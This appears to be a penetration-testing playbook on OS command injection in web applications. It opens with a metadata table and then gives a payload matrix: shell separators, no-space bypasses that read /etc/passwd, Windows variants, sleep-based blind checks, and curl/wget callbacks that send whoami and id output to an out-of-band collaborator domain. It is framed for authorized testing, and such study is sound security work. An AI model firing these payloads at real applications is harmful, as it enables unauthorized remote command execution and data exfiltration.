| name | exploiting-os-command-injection |
| description | Identifying and exploiting OS command injection vulnerabilities in web applications where user input is passed to a system shell, leading to arbitrary command execution. Covers in-band, blind, and out-of-band detection across Linux and Windows, separator and filter-bypass variants, and escalation to full RCE. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["penetration-testing","command-injection","os-command-injection","rce","remote-code-execution","owasp","web-security"] |
| version | 1.0 |
| author | xalgorix |
| license | Apache-2.0 |
| nist_csf | ["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"] |
Exploiting OS Command Injection
When to Use
- During authorized penetration tests when a parameter is reflected into a
system command, shell, or process invocation (ping, nslookup, ImageMagick,
ffmpeg, pdf/zip utilities, git, tar, "export to PDF", "test connection", etc.)
- When testing admin/diagnostic features ("ping host", "traceroute", "DNS lookup",
"check connectivity") which are the single most common command-injection sinks
- When file names, hostnames, or format parameters flow into
system(),
exec(), popen(), subprocess with shell=True, Runtime.exec, or
backticks
- After finding LFI/file upload — chaining to RCE often involves a command sink
Do not run destructive commands (rm, shutdown, fork bombs) on the target.
Limit proof-of-concept to read-only commands (id, whoami, hostname).
Critical: Variants Most Often Missed (test these for EVERY parameter)
Command injection is missed when only one separator is tried. For every
parameter — especially hostnames, file names, and "format" values — try the
full separator matrix in both an in-band and a blind form.
# Separators — prepend with the expected-valid value to keep the command working,
# e.g. for a ping field: 127.0.0.1;id
;id # command separator (Linux/most shells)
| id # pipe
|| id # OR (runs if first fails)
& id # background / AND (Windows cmd)
&& id # AND (runs if first succeeds)
`id` # backtick substitution
$(id) # $() substitution
%0a id # newline-injected command (very commonly the ONLY one that works)
%0d%0a id
{id,} # brace bypass when spaces are filtered
\nid
# No-space variants (when spaces/IFS are filtered)
;cat</etc/passwd
;cat${IFS}/etc/passwd
;cat$IFS$9/etc/passwd
{cat,/etc/passwd}
# Windows
& whoami
&& whoami
| whoami
%0a whoami
Blind / out-of-band detection (when output is NOT reflected)
Most real command injection is blind. Confirm with timing or OOB callbacks:
# Time-based — a reliable, target-agnostic confirmation
;sleep 10
& ping -n 10 127.0.0.1 # Windows
;ping -c 10 127.0.0.1 # Linux
$(sleep 10)
`sleep 10`
%0asleep%2010
# Out-of-band (DNS/HTTP) using a collaborator/interactsh domain
;nslookup <unique>.oast.fun
;curl http://<unique>.oast.fun/$(whoami)
& nslookup <unique>.oast.fun # Windows
;wget --post-data="$(id)" http://<unique>.oast.fun
A 10-second delay that tracks the injected sleep value (test 0s vs 10s vs 20s
to rule out network noise), or a DNS/HTTP hit on your collaborator, confirms
injection even with no visible output.